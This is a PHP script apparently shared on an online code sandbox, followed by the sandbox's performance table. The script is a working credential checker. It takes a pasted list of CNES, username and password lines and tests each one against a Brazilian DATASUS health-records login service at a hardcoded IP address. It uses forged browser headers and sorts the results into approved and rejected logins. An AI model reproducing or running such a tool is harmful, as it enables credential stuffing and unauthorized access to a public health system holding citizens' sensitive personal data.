@ 2016-10-16T07:34:14Z <?php
//error_reporting(0);
set_time_limit(0);
function xflush() {
static $output_handler = null;
if ($output_handler === null) {
$output_handler = @ini_get('output_handler');
}
if ($output_handler == 'ob_gzhandler') {
continue;
}
flush();
if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
@ob_flush();
} else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
@ob_end_flush();
@ob_start();
}
}
if(isset($_POST["enviar"])){
$SetParamList = trim($_POST['cartoes']);
xflush();
$SetParamList = explode("\n", $SetParamList);
$SetParamCount = count($SetParamList);
xflush();
for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) {
$SetParamList = str_replace(" ", "", $SetParamList);
$SetParamList = str_replace("\r", "", $SetParamList);
$SetParamList = str_replace("\n", "", $SetParamList);
list($CNES, $USER, $SENHA,$RESTO) = explode("|", $SetParamList[$setParamUX]);
xflush();
$setParamFunction = CardCheck($CNES, $USER, $SENHA);
print $setParamFunction;
}
print "<br> <center><div style='width: 20%;' class='alert alert-success'>Foram testados <strong>{$SetParamCount}</strong> logins</div></center>";
}
function CardCheck($CNES, $USER, $SENHA) {
$request = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
.'<SOAP-ENV:Body>'
.'<tns:validaLogin xmlns:tns="http://servidorWsCadsusCobdn.cobdn.datasus.gov.br/">'
.'<usuarioSistema>CADSUS</usuarioSistema>'
.'<senhaSistema></senhaSistema>'
.'<codigoSistema>003</codigoSistema>'
.'<bancoSistema>FEDCADWEB-DATASUS-00000010</bancoSistema>'
.'<ibgeSistema>330455</ibgeSistema>'
.'<username>'.$CNES.'</username>'
.'<senhaUsername>'.$SENHA.'</senhaUsername>'
.'<cnsOperador>'.$USER.'</cnsOperador>'
.'<senhaOperador>'.$SENHA.'</senhaOperador>'
.'</tns:validaLogin>'
.'</SOAP-ENV:Body>'
.'</SOAP-ENV:Envelope>';
$header = array(
"Host: 189.28.143.114:8080",
"Connection: keep-alive",
"Content-length: ". strlen($request),
"Origin: http://cartaonet.datasus.gov.br",
"X-Requested-With: ShockwaveFlash/23.0.0.166",
"User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
"Content-Type: text/xml, charset=utf-8",
"Accept: */*",
"Referer: http://cartaonet.datasus.gov.br/operadores/CadWeb.swf",
"Accept-Encoding: gzip, deflate",
"Accept-Language: pt-BR,pt,q=0.8,en-US,q=0.6,en,q=0.4",
);
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
$soap_do = curl_init();
curl_setopt($soap_do, CURLOPT_URL, "http://189.28.143.114:8080/ServidorWsCadsusJdbc/ServidorWsCadsusCobdn");
curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true );
curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($soap_do, CURLOPT_HEADER, 0);
curl_setopt($soap_do, CURLOPT_POST, true );
curl_setopt($soap_do, CURLOPT_POSTFIELDS, $request);
curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header);
$response = curl_exec($soap_do);
$response = preg_replace("/(<\/?)(\w+):([^>]*>)/", "$1$2$3", $response);
$xml = new SimpleXMLElement($response);
$body = $xml->xpath('//SBody')[0];
$array = json_decode(json_encode((array)$body), TRUE);
$array = json_encode ($array);
$obj = json_decode($array, TRUE);
//echo '<pre>';
//print_r ($obj);
//echo '</pre>';
if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Cnes / Username / Senha inválido!') {echo "<script>document.getElementById('reprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";}
if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Este usuário foi desabilitado!') {echo ""; }
if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Login validado!') {echo "<script>document.getElementById('aprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 7.2.10 0.142 0.014 14.28 7.2.9 0.155 0.005 14.29 7.2.8 0.158 0.007 14.59 7.2.7 0.149 0.008 14.68 7.2.6 0.168 0.006 14.69 7.2.5 0.163 0.008 14.58 7.2.4 0.149 0.008 14.89 7.2.3 0.150 0.005 14.84 7.2.2 0.100 0.011 14.84 7.2.1 0.089 0.006 14.69 7.2.0 0.105 0.008 14.62 7.1.22 0.143 0.009 13.47 7.1.21 0.146 0.008 13.41 7.1.20 0.139 0.006 13.63 7.1.19 0.151 0.008 13.70 7.1.18 0.142 0.010 13.37 7.1.17 0.133 0.013 13.61 7.1.16 0.148 0.012 13.56 7.1.15 0.152 0.003 13.85 7.1.14 0.114 0.004 13.61 7.1.13 0.155 0.002 13.58 7.1.12 0.110 0.005 13.55 7.1.11 0.104 0.009 13.61 7.1.10 0.086 0.009 14.50 7.1.9 0.081 0.007 14.53 7.1.8 0.052 0.008 14.40 7.1.7 0.224 0.009 14.17 7.1.6 0.087 0.011 32.41 7.1.5 0.215 0.005 32.23 7.1.4 0.158 0.014 31.71 7.1.3 0.170 0.012 32.04 7.1.2 0.162 0.010 31.85 7.1.1 0.132 0.007 13.96 7.1.0 0.144 0.009 13.79 7.0.31 0.148 0.002 13.20 7.0.30 0.140 0.010 13.24 7.0.29 0.170 0.000 13.39 7.0.28 0.101 0.005 13.34 7.0.27 0.113 0.008 13.48 7.0.26 0.082 0.008 13.41 7.0.25 0.088 0.007 13.45 7.0.24 0.067 0.009 14.16 7.0.23 0.227 0.009 14.16 7.0.22 0.067 0.008 14.25 7.0.21 0.185 0.007 13.77 7.0.20 0.097 0.009 13.98 7.0.19 0.207 0.004 13.93 7.0.18 0.168 0.009 13.80 7.0.17 0.165 0.004 13.66 7.0.16 0.136 0.014 13.76 7.0.15 0.174 0.009 13.80 7.0.14 0.150 0.009 13.63 7.0.13 0.156 0.009 13.91 7.0.12 0.123 0.010 13.96 7.0.11 0.133 0.010 13.78 7.0.10 0.110 0.009 13.74 7.0.9 0.146 0.005 13.76 7.0.8 0.126 0.006 13.72 7.0.7 0.141 0.007 13.75 7.0.6 0.120 0.008 13.66 7.0.5 0.134 0.009 13.87 7.0.4 0.202 0.006 13.87 7.0.3 0.165 0.006 13.79 7.0.2 0.146 0.008 13.82 7.0.1 0.139 0.010 13.83 7.0.0 0.131 0.007 13.83 5.6.38 0.008 0.008 14.47 5.6.37 0.008 0.011 14.52 5.6.36 0.012 0.010 14.17 5.6.35 0.014 0.009 14.49 5.6.34 0.012 0.009 14.44 5.6.33 0.007 0.011 14.15 5.6.32 0.018 0.003 14.44 5.6.31 0.017 0.004 14.21 5.6.30 0.013 0.020 16.49 5.6.29 0.010 0.026 16.50 5.6.28 0.012 0.024 16.44 5.6.27 0.010 0.030 16.55 5.6.26 0.013 0.030 16.62 5.6.25 0.010 0.027 16.44 5.6.24 0.010 0.028 16.50 5.6.23 0.009 0.027 16.44 5.6.22 0.017 0.021 16.56 5.6.21 0.011 0.027 16.43 5.6.20 0.016 0.031 16.53 5.6.19 0.008 0.036 16.52 5.6.18 0.016 0.021 16.27 5.6.17 0.007 0.034 16.29 5.6.16 0.009 0.025 16.36 5.6.15 0.014 0.029 16.46 5.6.14 0.012 0.029 16.45 5.6.13 0.015 0.020 16.50 5.6.12 0.012 0.026 16.52 5.6.11 0.011 0.028 16.40 5.6.10 0.007 0.029 16.39 5.6.9 0.012 0.023 16.30 5.6.8 0.013 0.020 16.33 5.6.7 0.015 0.024 16.24 5.6.6 0.014 0.019 16.27 5.6.5 0.013 0.022 16.25 5.6.4 0.008 0.027 16.22 5.6.3 0.008 0.029 16.27 5.6.2 0.009 0.032 16.33 5.6.1 0.014 0.021 16.27 5.6.0 0.018 0.023 16.17
preferences:dark mode live preview
146.12 ms | 1394 KiB | 7 Q